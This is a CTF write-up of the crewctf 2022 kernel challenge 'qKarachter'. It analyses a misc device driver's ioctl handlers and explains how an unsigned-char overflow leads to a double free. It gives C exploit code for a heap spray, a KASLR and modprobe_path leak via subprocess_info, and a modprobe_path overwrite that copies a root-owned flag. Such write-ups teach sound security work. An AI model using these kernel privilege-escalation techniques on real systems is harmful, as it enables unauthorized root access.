crewctf 2022 - qKarachter

#ctf-writeup#pwn#kernel

qKarachter was a kernel challenge, which provided a misc device that can be interacted with ioctl(2).

typedef struct {
  unsigned int length;
  unsigned int idx;
  char* data; // ptr to char[144]
} req;


int handle_ioctl(__int64 a1, int cmd, req *arg) {
  req *req;
  req *_req;
  int result;

  mutex_lock(&mutex);  // global lock

  req = (req *)kmem_cache_alloc_trace(kmalloc_caches[4], 3264LL, 16LL);
  if (!req) {
    printk(&str_malloc_failed);
    mutex_unlock(&mutex);
    return -ENOMEM;
  }

  _req = req;
  if (copy_from_user(req, arg, 16LL)) {
    printk(&str_copy_from_user_failed);
    return -EAGAIN;
  }

  switch (cmd) {
    case 0x1338:
      result = readData(_req);
      goto _success;
    case 0x1339:
      result = delData(_req->idx);
      goto _success;
    case 0x1337:
      result = addData(_req);
      goto _success;
    default:
      printk(&str_invalid_choice);
      mutex_unlock(&mutex);
      return -EINVAL;
  }

_success:
  kfree(_req);
  mutex_unlock(&mutex);
  return result;
}

Data are created in addData with size of kmalloc-128 and the pointer to it are stored in global array ptrArr.

typedef struct {
  char title[16];
  char* max_ptr;
  char* cur_ptr;
} info;


int addData(req *req) {
  long tmp;        // rax
  int idx;         // er12
  info *info;      // rbx
  char *data;      // rax
  char *req_data;  // rsi

  tmp = 0LL;
  while (1) {
    idx = tmp;
    if (!ptrArr[tmp]) break;
    if (++tmp == 80) {
      printk(&str_no_more_space_left);
      return -ENOMEM;
    }
  }
  info = (info *)kmem_cache_alloc_trace(kmalloc_caches[5], 3264LL, 32LL);
  data = (char *)kmem_cache_alloc_trace(kmalloc_caches[7], 3264LL, 128LL);
  if (!info || !data) {
    printk(&str_malloc_failed);
    return -ENOMEM;
  }

  req_data = req->data;

  memset(data, 0, 0x80uLL);
  memset(info->title, 0LL, 16);

  info->cur_ptr = data;
  info->max_ptr = data + 128;

  if (copy_from_user(data, req_data, 128LL) &&
      copy_from_user(info, req->data + 128, 16LL)) {
    printk(&str_copy_from_user_failed);
    return -EAGAIN;
  }

  ptrArr[idx] = info;
  readPos[idx] = 0;
  return idx;
}

We can are read with readData. The data that stored in info struct are only pointers, so it basically add a checks if cur_ptr + length < max_ptr and store how much data have been read so far in global array readPos[idx], *Note that readPos data type is unsigned char*.

int readData(req *a1) {
  long idx;                    // rax
  unsigned int length;         // rbp
  info *info;                  // rbx
  unsigned char new_read_pos;  // dl
  long result;                 // rax

  idx = a1->idx;
  length = a1->length;
  info = ptrArr[idx];

  if (!info) {
    printk(&str_no_such_item);
    return -ENOENT;
  }

  new_read_pos = length + readPos[idx];            // [1]
  if (info->max_ptr < &info->cur_ptr[length] || new_read_pos > 0x80u) {
    printk(&str_read_limit_exceed);
    return -EOVERFLOW;
  }

  readPos[idx] = new_read_pos;                     // [2]

  if (copy_to_user(a1->data, info->cur_ptr, length) ||
      copy_to_user(a1->data + 128, info, 16LL)) {
    printk(&str_copy_to_user_failed);              // [3]
    return -EAGAIN;
  }

  info->cur_ptr += length_byte;
  return 0;
}

… but there is a catch here. new_read_pos is an unsigned char, so it’s possible to get an int overflow in [1]. Just before the data copied with copy_to_user, readPos[idx] is assigned with the new_read_pos in [2] and finally, if the copy_to_user failed [3], info->cur_ptr won’t be modified but readPos[idx] are already assigned with the new_read_pos. Such a bug won’t do much here because readData properly? checks for cur_ptr + length < max_ptr, but it’ll be useful for delData.

In delData, info struct pointer stored in ptrArr and data pointer are freed then NULLed. readPos[idx] is also reset to zero.

int delData(unsigned int idx) {
  unsigned int _idx;
  info* info;
  char* ptr;

  _idx = idx;
  info = ptrArr[idx];
  if (!info) {
    printk(&str_no_such_item);
    return -ENOENT;
  }

  ptr = &info->cur_ptr[-readPos[idx]]; // [1]
  if (ptr < info->max_ptr - 128) {     // [2]
    printk(&str_invalid_pointer);
    return -EAGAIN;
  }

  kfree(ptr);
  kfree(ptrArr[_idx]);
  readPos[_idx] = 0;
  ptrArr[_idx] = 0LL;

  return 0;
}

info struct doesn’t store the begin pointer, but instead it stores cur_ptr which is a pointer to where the data have been read so far. So to get around that ptr is calculated with cur_ptr - readPos[idx] [1] which should be the same as begin pointer … if there’s no side effects in readData.

Consider this scenario, we can freely increment readPos[idx] without incrementing cur_ptr and we can also make readPos[idx] int overflow and goes back to 0. Because the checks in [2] is only checking for cur_ptr - readPos[idx] < max_ptr - 128 and it doesn’t checks if ptr > max_ptr, we can make delData to free the next adjacent chunk instead of the current chunk if we can make such that cur_ptr == max_ptr and readPos[idx] == 0.

Free-ing next adjacent chunk can be turned into a double free if we can make data chunk positioned next to each other. To get that, first, we can spray some kmalloc-128 chunks. This can be achieved with spraying msg_msg or just go with addData and delData multiple times.

    #define SPRAY 0x40

    int main(int argc, char *argv[]) {
      char *zero = malloc(sizeof(data_s));
      char *buffer = malloc(sizeof(data_s));
      uint64_t *a64 = (uint64_t *)buffer;
    ...
      memset(zero, 0, sizeof(data_s));
      memset(buffer, 0x41, sizeof(data_s));
    ...
      // make heap a little bit deterministic for later stage
      for (int i = 0; i < SPRAY; i++) add(zero);
      for (int i = 0; i < SPRAY; i++) del(i);
      for (int i = 0; i < SPRAY; i++) add(zero);
    ...
    }

Then we can select one of the index to free the next adjacent chunk.

int selected_idx = 7;

// readPos[7] set to 0x80, but since the user data ptr
// is not writeable, copy_to_user would fail and curPtr
// stll stays at the beginning of the chunk
view(selected_idx, 0x80, (void *)0xdeadbeef);

// uint8 overflow, readPos[7] += 0x80 -> 0x100 -> 0
// and curPtr set to curPtr + 0x80 which should be max_ptr,
// so when delete happen it should free the next chunk
// instead of current chunk kfree((max_ptr) - readPos[7])
view(selected_idx, 0x80, buffer);

// free next adjacent chunk
del(selected_idx);

To know which index is adjacent next to the chunk of selected index, we need to free some chunks to get fd populated and then read the rest of ptrArr check if there’s any kernel heap leak.

  // populate fd in freed chunk
  for (int i = 0; i < selected_idx; i++)
    del(i);
...
  // free next adjacent chunk
...
  // find adjacent chunk by viewing the content, if it contains
  // a heap fd leak, then this must be the next adjacent chunk
  // !!! might fail couple of times, so restart from the very
  // begining
  int pos;
  for (pos = selected_idx + 1; pos < SPRAY; pos++) {
    view(pos, 0x80, buffer);
    // if the chunk is free fd should be populated
    // kernel heap MSB should contains 0xFF
    if (a64[8] >> 56 == 0xff) {
      break;
    }
  }
  if (pos == SPRAY) {
    puts("[!] failed to get adjacent chunk");
    exit(EXIT_FAILURE);
  }

  printf("[o] adjacent chunk 7 <--> %d\n", pos);

Trigger a double free, then add another data. The next allocation of kmalloc-128 should live on top of our last created chunk. I choose subprocess_info struct to get a leak of kernel base and modprobe_path pointer.

// *double free*
del(pos);

memset(buffer, 0, sizeof(data_s));
int idx = add(buffer);

// populate a kmalloc-128 struct (subprocess_info)
// which should live on top of our last created chunk
socket(22, AF_INET, 0);

view(idx, 0x80, buffer);

const uintptr_t kaslr = a64[3] - 0x7e470;
const uintptr_t modprobe_path = a64[5];
printf("[o] kaslr %p\n", (void *)kaslr);
printf("[o] modprobe_path %p\n", (void *)modprobe_path);

Then we can overwrite fd to get an allocation on modprobe_path and overwrite modprobe_path to do modprobe_path exploit.

void prepare_modprobe_path_exploit() {
  system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/user/flag\n/bin/chmod "
         "777 /home/user/flag' > /home/user/modprobe");
  system("chmod +x /home/user/modprobe");
  system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/dummy");
  system("chmod +x /home/user/dummy");
}

int main(int argc, char *argv[]) {
...
  prepare_modprobe_path_exploit();
...
  del(idx);

  // overwrite fd to modprobe_path
  memset(buffer, 0xec, sizeof(data_s));
  a64[8] = modprobe_path;
  add(buffer);
  add(buffer);

  // overwrite modprobe_path
  memset(buffer, 0, sizeof(data_s));
  strcpy(buffer, "/home/user/modprobe");
  add(buffer);

  // trigger modprobe_path
  system("/home/user/dummy");
  system("cat /home/user/flag");

  return 0;
}

The full exploit code can be found here, https://gist.github.com/circleous/458f7c691b79dfbebc2930bff9d78353